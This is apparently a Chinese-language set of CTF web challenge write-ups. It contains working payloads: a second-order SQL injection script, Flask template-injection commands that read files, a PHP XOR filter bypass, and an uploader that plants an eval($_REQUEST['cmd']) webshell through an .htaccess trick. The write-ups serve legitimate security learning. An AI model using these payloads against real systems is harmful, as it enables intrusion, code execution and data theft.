$_SERVER['PHP_SELF']会获取我们当前的访问路径,并且PHP在根据URI解析到对应文件后会忽略掉URL中多余的部分,即若访问存在的index.php页面,如下两种UR均会访问到。
/index.php
/index.php/dosent_exist.php
basename可以理解为对传入的参数路径截取最后一段作为返回值,但是该函数发现最后一段为不可见字符时会退取上一层的目录,即:
$var1="/config.php/test"
basename($var1) => test
$var2="/config.php/%ff"
basename($var2) => config.php
接下来就显然了,通过构造URI让其包含config.php这个文件名再让basename函数截取出来,之后通过请求参数source就能显示config.php的源码,也就能见到flag了
在使用默认语言环境设置时,basename() 会删除文件名开头的非 ASCII 字符。
ascii值为47、128-255的字符均可以绕过basename() 其中47对应的符号为'/',在实际场景中没有利用价值 那么也就是说我们可以利用一部分不可见字符来绕过basename() 同时,在测试中也可以发现中文字符也是可以绕过basename() 例如汉字、?(中文问号)、《、》、; 等中文字符
[watevrCTF-2019]Cookie Store
进去发现flag要100,我们只有50
明显钱不够,先买个1块钱的看下相关信息。发现cookie中的session明显为base64加密
解出来看看
hgistory显示的是购买的商品名称看看能不能在后面添加个flag cookie或替换 发现不行
直接改钱
[0CTF 2016]piapiapia
[CISCN2019 华北赛区 Day1 Web5]CyberPunk
看源码提示用php伪协议
?file=php://filter/convert.base64-encode/resource=index.php,同样可以得到index.php,search.php,delete.php,config.php,confirm.php,change.php
index.php
search.php
<?php
require_once "config.php";
if(!empty($_POST["user_name"]) && !empty($_POST["phone"]))
{
$msg = '';
$pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';
$user_name = $_POST["user_name"];
$phone = $_POST["phone"];
if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){
$msg = 'no sql inject!';
}else{
$sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'";
$fetch = $db->query($sql);
}
if (isset($fetch) && $fetch->num_rows>0){
$row = $fetch->fetch_assoc();
if(!$row) {
echo 'error';
print_r($db->error);
exit;
}
$msg = "<p>姓名:".$row['user_name']."</p><p>, 电话:".$row['phone']."</p><p>, 地址:".$row['address']."</p>";
} else {
$msg = "未找到订单!";
}
}else {
$msg = "信息不全";
}
?>
delete.php
<?php
require_once "config.php";
if(!empty($_POST["user_name"]) && !empty($_POST["phone"]))
{
$msg = '';
$pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';
$user_name = $_POST["user_name"];
$phone = $_POST["phone"];
if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){
$msg = 'no sql inject!';
}else{
$sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'";
$fetch = $db->query($sql);
}
if (isset($fetch) && $fetch->num_rows>0){
$row = $fetch->fetch_assoc();
$result = $db->query('delete from `user` where `user_id`=' . $row["user_id"]);
if(!$result) {
echo 'error';
print_r($db->error);
exit;
}
$msg = "订单删除成功";
} else {
$msg = "未找到订单!";
}
}else {
$msg = "信息不全";
}
?>
config.php
<?php
ini_set("open_basedir", getcwd() . ":/etc:/tmp");
$DATABASE = array(
"host" => "127.0.0.1",
"username" => "root",
"password" => "root",
"dbname" =>"ctfusers"
);
$db = new mysqli($DATABASE['host'],$DATABASE['username'],$DATABASE['password'],$DATABASE['dbname']);
confirm.php
<?php
require_once "config.php";
//var_dump($_POST);
if(!empty($_POST["user_name"]) && !empty($_POST["address"]) && !empty($_POST["phone"]))
{
$msg = '';
$pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';
$user_name = $_POST["user_name"];
$address = $_POST["address"];
$phone = $_POST["phone"];
if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){
$msg = 'no sql inject!';
}else{
$sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'";
$fetch = $db->query($sql);
}
if($fetch->num_rows>0) {
$msg = $user_name."已提交订单";
}else{
$sql = "insert into `user` ( `user_name`, `address`, `phone`) values( ?, ?, ?)";
$re = $db->prepare($sql);
$re->bind_param("sss", $user_name, $address, $phone);
$re = $re->execute();
if(!$re) {
echo 'error';
print_r($db->error);
exit;
}
$msg = "订单提交成功";
}
} else {
$msg = "信息不全";
}
?>
change.php
<?php
require_once "config.php";
if(!empty($_POST["user_name"]) && !empty($_POST["address"]) && !empty($_POST["phone"]))
{
$msg = '';
$pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';
$user_name = $_POST["user_name"];
$address = addslashes($_POST["address"]);
$phone = $_POST["phone"];
if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){
$msg = 'no sql inject!';
}else{
$sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'";
$fetch = $db->query($sql);
}
if (isset($fetch) && $fetch->num_rows>0){
$row = $fetch->fetch_assoc();
$sql = "update `user` set `address`='".$address."', `old_address`='".$row['address']."' where `user_id`=".$row['user_id'];
$result = $db->query($sql);
if(!$result) {
echo 'error';
print_r($db->error);
exit;
}
$msg = "订单修改成功";
} else {
$msg = "未找到订单!";
}
}else {
$msg = "信息不全";
}
?>
index.php里面虽然给了一个文件包含,不过有一定的限制,还设置了openbasedir,并且剩下的代码都是数据库相关操作,懒得考虑文件包含还能怎么利用了,看数据库操作 change.php,delete.php,search.php,confirm.php四个文件分别完成修改删除查找和插入四个功能,其中每个操作都对用户名和手机号做了超级过滤$pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';,有这样子的正则限制,感觉是什么也做不了了,但是address项却未做任何过滤,可以考虑通过address进行注入 在change.php中发现address被拿进去用了,虽然confirm.php中也使用了address,但是用的SQL预处理,无法注入,而change.php中是将已入库的数据又拿出来用,显然构成了二次注入
old_address的值完全可控且不受限制,而紧随其后的还有一个$db->error的输出,可以使用报错注入来获取数据,报错注入有一个长度限制,
注意sql语句
address."', old_address='".row['user_id']; 使用updataxml报错注入,updataxml函数对字符串长度有限制,所以分段进行读取
1' where user_id=updatexml(1,concat(0x7e,(select substr(load_file('/flag.txt'),1,30)),0x7e),1)#
这里有另一种方法(不理解) 由于address可被查询,可以闭合一下引号,再次对address进行赋值,这样子就可以把查询结果回显出来 payload如下 payload = "',address={} where user_name=’z33’ – “.format(“(select * from(select load_file(‘/flag.txt’))a)”) 在update语句中使用select的时候要额外套一层select然后还要给内层select起一个别名(原理没深究过但的确是这样的) 无过滤语句以此payload可以为所欲为了
因为一次攻击需要访问三个界面太麻烦,写了个垃圾脚本
import requests
url = "http://2e1c4b3c-565d-423f-90d7-ac12827e9518.node3.buuoj.cn/"
phone = "28"
payload = "',`address`={} where user_name='z33' -- ".format("(select * from(select load_file('/flag.txt'))a)")
data = {"user_name": "z33", "phone": phone, "address": payload}
res1 = requests.post(url=url+"confirm.php", data=data)
data = {"user_name": "z33", "phone": phone, "address": "111"}
res2 = requests.post(url=url+"change.php", data=data)
# print(res2.text)
data = {"user_name": "z33", "phone": phone}
res3 = requests.post(url=url+"search.php", data=data)
print(res3.text)
可以看出来攻击过程是先提交数据,然后在change中将payload从库中取出完成修改,最后去search.php查询得到数据,phone每次提交改一下,不然新的数据插入不进去
[SUCTF 2019]Pythonginx
直接给了源码
代码上看,我们需要提交一个url,用来读取服务器端任意文件
简单来说,需要逃脱前两个if,成功进入第三个if。
而三个if中判断条件都是相同的,不过在此之前的host构造却是不同的,这也是blackhat该议题中想要说明的一点
当URL 中出现一些特殊字符的时候,输出的结果可能不在预期
接着我们只需要按照getUrl函数写出爆破脚本即可得到我们能够逃逸的构造语句了
from urllib.parse import urlparse,urlunsplit,urlsplit
from urllib import parse
def get_unicode():
for x in range(65536):
uni=chr(x)
url="http://suctf.c{}".format(uni)
try:
if getUrl(url):
print("str: "+uni+' unicode: \u'+str(hex(x))[2:])
except:
pass
def getUrl(url):
url=url
host=parse.urlparse(url).hostname
使用 urlparse 解析URL,并获取主机名(hostname)
if host == 'suctf.cc':
return False
parts=list(urlsplit(url))
host=parts[1]
使用 urlsplit 将URL拆分为多个部分,并从这些部分中获取主机名
if host == 'suctf.cc':
return False
newhost=[]
for h in host.split('.'):
newhost.append(h.encode('idna').decode('utf-8'))
parts[1]='.'.join(newhost)
将主机名拆分为多个子域名部分。
对每个子域名部分进行编码转换(使用 idna 编码),以处理国际化域名(IDN)。
将编码后的子域名部分重新组合成新的主机名
finalUrl=urlunsplit(parts).split(' ')[0]
使用 urlunsplit 将URL部分重新组合成一个完整的URL。
去掉URL中的空格(如果有的话)
host=parse.urlparse(finalUrl).hostname
if host == 'suctf.cc':
return True
else:
return False
if __name__=='__main__':
get_unicode()
只需要用其中任意一个去读取文件就可以了
比如:29606583-b54e-4b3f-8be0-395c977bfe1e.node3.buuoj.cn/getUrl?url=…
先读一下etc/passwd
题目提示我们是nginx,所以我们去读取nginx的配置文件
nginx一些文件存放的地方
配置文件存放目录:/etc/nginx 主配置文件:/etc/nginx/conf/nginx.conf 管理脚本:/usr/lib64/systemd/system/nginx.service 模块:/usr/lisb64/nginx/modules 应用程序:/usr/sbin/nginx 程序默认存放位置:/usr/share/nginx/html 日志默认存放位置:/var/log/nginx 配置文件目录为:/usr/local/nginx/conf/nginx.conf
这里读的路径是 /usr/local/nginx/conf/nginx.conf
29606583-b54e-4b3f-8be0-395c977bfe1e.node3.buuoj.cn/getUrl?url=…
[HarekazeCTF2019]encode_and_encode
进去有个源代码,代码审计一波
<?php
error_reporting(0);
if (isset($_GET['source'])) {
show_source(__FILE__);
exit(); //这里有exit(),因此在进行测试时应删除URL后的source参数
}
function is_valid($str) {
$banword = [
// no path traversal -> 防止目录穿越
'..',
// no stream wrapper -> 过滤掉常见伪协议
'(php|file|glob|data|tp|zip|zlib|phar):',
// no data exfiltration -> 过滤掉‘flag’关键词
'flag'
];
$regexp = '/' . implode('|', $banword) . '/i'; //正则匹配违禁词
if (preg_match($regexp, $str)) { //对传入函数的字符进行检测
return false;
}
return true;
}
$body = file_get_contents('php://input'); //变量body利用php://input伪协议获取post数据
$json = json_decode($body, true); //变量body在进行json解码后赋值给变量json
if (is_valid($body) && isset($json) && isset($json['page'])) { //对body内容进行过滤检测、检测json中是否存在page参数 -> 意味着我们的payload应传递给page参数
$page = $json['page'];
$content = file_get_contents($page); //读取page中文件的内容并赋值给content -> 到这里就可以确定是一个文件包含漏洞了
if (!$content || !is_valid($content)) { //对content内容进行过滤检测
$content = "<p>not found</p>\n";
}
} else {
$content = '<p>invalid request</p>';
}
// no data exfiltration!!!
$content = preg_replace('/HarekazeCTF{.+}/i', 'HarekazeCTF{<censored>}', $content); //如果直接返回明文Flag则会替换掉Flag中的内容 -> 这里很明显需要对返回的内容进行加密,不难想到利用php://filter中的流控制器进行数据编码
echo json_encode(['content' => $content]); //输出content中的内容,即输出文件内容
猜测到本题是需要利用php://filter伪协议来读取文件的,难点在于绕过is_valid()这一检测函数,于是引出了json编码数据中的一个小Trick:
\uXXXX可以在JSON中转义字符,例如A与\u0041等效
也就是说我们可以将is_valid()中ban掉的关键词利用16进制的Unicode编码进行转义,从而实现绕过检测 首先构造读取/flag文件内容的payload: php://filter/convert.base64-encode/resource=/flag 然后将过滤的关键词“php”与“flag”进行编码,得到: \u0070\u0068\u0070://filter/convert.base64-encode/resource=/\u0066\u006c\u0061\u0067 之后构造json数据包: {"page":"\u0070\u0068\u0070://filter/convert.base64-encode/resource=/\u0066\u006c\u0061\u0067"} 将json数据利用post方式发送即可:
[网鼎杯 2020 半决赛]AliceWebsite
题目直接给了网站源码
分析index.php
文件包含,上面的代码并没有任何限制,可以利用可控变量action来访问flag 一层一层尝试即可找到flag 第三层找到了
[b01lers2020]Welcome to Earth
看源码发现有chase和die文件,抓个包看看
有一个leftt文件,访问一下,又有个shoot文件
door文件
发现check_door()函数和door.js文件
又发现了open文件 打开发现open_sesame.js文件
打开open_sesame.js文件 发现fight文件
发现/static/js/fight.js文件
打开/static/js/fight.js文件找到flag
提示以为是执行scramble函数获取flag值但不是,应该是对字典的元素进行排列组合
from itertools import permutations
flag = ["{hey", "_boy", "aaaa", "s_im", "ck!}", "_baa", "aaaa", "pctf"]
item = permutations(flag)
for i in item:
k = ''.join(list(i))
if k.startswith('pctf{hey_boys') and k[-1] == '}':
print(k)
看起来最正常的一般就是flag
[红明谷CTF 2021]write_shell
还是代码审计
利用点应该就是利用file_get_contents函数写shell获取我们需要的信息
在此之前我们还需要找到要写入shell的文件路径,这时我们可以发现可以通过?action=pwd进行查看
这题把php给ban掉了,因为php的代码开始标签是<?php,这样就导致我们没办法进行php脚本的写入
php标签的php被过滤,可以换用短标签<?= code?>,相当于,至于;被过滤并不用单行,因为?>对于一组PHP代码中最后一句起到替代;的作用,所以我们可以构造如下payload:
?action=upload&data=
接下来列下根目录,至于空格被过滤有很多方法,这里采用%09来替代(制表符\t的URL编码)
?action=upload&data=
[CISCN2019 华东南赛区]Double Secret
提示欢迎找秘密直接后面加Secret 但s要小写
这句话意思是让我们传参来解密 随便输点,报错了 源码也泄露了
首先判断你是不是为空,如果是空的参数,则返回一段话,就是我们刚进页面看到的内容,如果你传入了参数,那么它就会进行加密,可以看到是RC4加密,而且还泄露了密钥,密钥就是“HereIsTreasure”,而且通过报错,我们了解到这是flask的模板,而且python的版本是2.7的,那么我们可以利用flask的模板注入,执行命令,只不过需要进行RC4加密 显示尝试{{7*7}},回显49,证明存在SSTI
接着先随便使用一个payload
python
{{ config.__class__.__init__.__globals__['os'].popen('ls').read() }}
payload:
secret=LhQZVqUJDWds0+csvb73uyesa3qIbel8A4UHthzzDeAhhE/XBOIX20CdgvEqM/MKqq1DYiqsJn/QdgbWvEsVvd1Zp1Q=
发现成功执行没有任何过滤,然后依次是
{{ config.__class__.__init__.__globals__['os'].popen('ls /').read() }}
{{ config.__class__.__init__.__globals__['os'].popen('cat /flag.txt').read() }}
.%14%1E%12%C3%A484mg%C2%9C%C3%8B%00%C2%81%C2%8D%C2%B8%C2%97%0B%C2%9EF%3B%C2%88m%C2%AEM5%C2%96%3D%C2%9D%5B%C3%987%C3%AA%12%C2%B4%05%C2%84A%C2%BF%17%C3%9Bh%C3%8F%C2%8F%C3%A1a%0F%C2%AE%09%C2%A0%C2%AEyS%2A%C2%A2d%7C%C2%98/%00%C2%90%C3%A9%03Y%C2%B2%C3%9B%1F%C2%B6H%3D%0A%23%C3%B1%5B%C2%9Cp%C2%AEn%C2%96i%5Dv%7FX%C2%92
[SUCTF 2019]EasyWeb
- 正则分析
\x00: ASCII码为0的字符
-: 连字符
0-9: 数字0到9
A-Za-z: 大小写字母
'": 单引号、双引号
`: 反引号
~_&.,|=: 波浪线、下划线、&符号、逗号、竖线、等于号
[\x7F]+: ASCII码为127及以上的字符(常用于表示扩展的ASCII字符集)
其中 i 表示忽略大小写。
因此,这个正则表达式可以匹配包括数字、字母、符号以及一些特殊字符,例如扩展ASCII字符集中的字符。
preg_match的绕过在这里能想到的只有通过异或绕过(只有^没有被过滤,~|都被过滤)
php的eval()函数在执行时如果内部有类似"abc"^"def"的计算式,那么就先进行计算再执行。例如url?a={_GET}{b}();&b=phpinfo,也就是?a=${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}();&%ff=phpinfo,在传入后实际上为${????^????}{?}();但是到了eval()函数内部就会变成${_GET}{?}();成功执行。
<?php
$l = "";
$r = "";
$argv = str_split("_GET");
for($i = 0; $i < count($argv); $i++) {
for($j = 0; $j < 255; $j++) {
$k = chr($j) ^ chr(255);
if($k == $argv[$i]) {
if($j < 16) {
$l .= "%ff";
$r .= "%0" . dechex($j);
} else {
$l .= "%ff";
$r .= "%" . dechex($j);
}
break; // 找到就跳出内层循环
}
}
}
echo "l = " . $l . PHP_EOL;
echo "r = " . $r . PHP_EOL;
l = %ff%ff%ff%ff
r = %a0%b8%ba%ab
${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}();&%ff=phpinfo
传入后实际为:
?_=${_GET}{%ff}();&%ff=phpinfo
最终利用那个文件上传函数
${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}();&%ff=get_the_flag
非预期解直接搜flag拿到
过滤了ph后缀,文件里不能有<?,而且必须是图片文件
过滤了ph后缀,一般做法是传.htaccess或者在有php文件的情况下传.user.ini,但是不满足该目录下有php文件(这里文件上传的目录不可控企鹅不可回退遍历),因此考虑上传.htaccess文件和一个图片后缀的webshell
- exif_imagetype
(PHP 4 >= 4.3.0, PHP 5, PHP 7)
exif_imagetype - 确定图像的类型
exif_imagetype() 读取图像的第一个字节并检查其签名。
这里在.htaccess文件中直接添加GIF89a会影响该文件的作用导致失败
用以下两种方法让我们的.htaccess生效
1. #define width 1337
2. #define height 1337
1. 在.htaccess前添加x00x00x8ax39x8ax39(要在十六进制编辑器中添加,或者使用python的bytes类型)
2. x00x00x8ax39x8ax39 是wbmp文件的文件头
3. .htaccess中以0x00开头的同样也是注释符,所以不会影响.htaccess
文件内容不能有<?
一般是用 <script language="php"></script> 来绕过,但是因为这题的PHP版本是7.3.4, <script language="php"></script> 这种写法在PHP7以后就不支持了,因此不行。
文件上传脚本
import requests
import base64
htaccess = b"""
#define width 1337
#define height 1337
AddType application/x-httpd-php .ahhh
php_value auto_append_file "php://filter/convert.base64-decode/resource=./shell.ahhh"
"""
##在shell.ahhh加载完毕后,再次包含base64解码后的shell.ahhh,成功getshell,所以这也就是为什么会出现两次shell.ahhh内容的原因,第一次是没有经过base64解密的,第二次是经过解密并且转化为php了的
shell = b"GIF89a12" + base64.b64encode(b"<?php eval($_REQUEST['cmd']);?>")
url = "http://dfcea339-b6d8-4b48-99ac-9bfaecda5527.node4.buuoj.cn:81//?_=${%86%86%86%86^%d9%c1%c3%d2}{%86}();&%86=get_the_flag"
files = {'file':('.htaccess',htaccess,'image/jpeg')}
data = {"upload":"Submit"}
response = requests.post(url=url, data=data, files=files)
print(response.text)
files = {'file':('shell.ahhh',shell,'image/jpeg')}
response = requests.post(url=url, data=data, files=files)
print(response.text)
upload/tmp_70579d1796bfdf99d77ae93cf4092361/.htaccess upload/tmp_70579d1796bfdf99d77ae93cf4092361/shell.ahhh
open_basedir的限制,我们不能直接访问flag 我们需要进行绕过PHP绕过open_basedir列目录的研究 | 离别歌
或
yijian链接更目录下直接拿到
法二:
上传图片马
这里传图片马非常要注意的一点是总字节长度必须是4的倍数(保证base64解码成功
GIF98abbPD9waHAgZXZhbCgkX0dFVFsnY21kJ10pOz8+
上面内容中bb就是为了凑长度的(这里千万不要换行,虽然换行符也占字节,但是实测没有效果,大概是因为不是可读字符吧)
然后依次传入文件,直接访问传入的图片马就可以了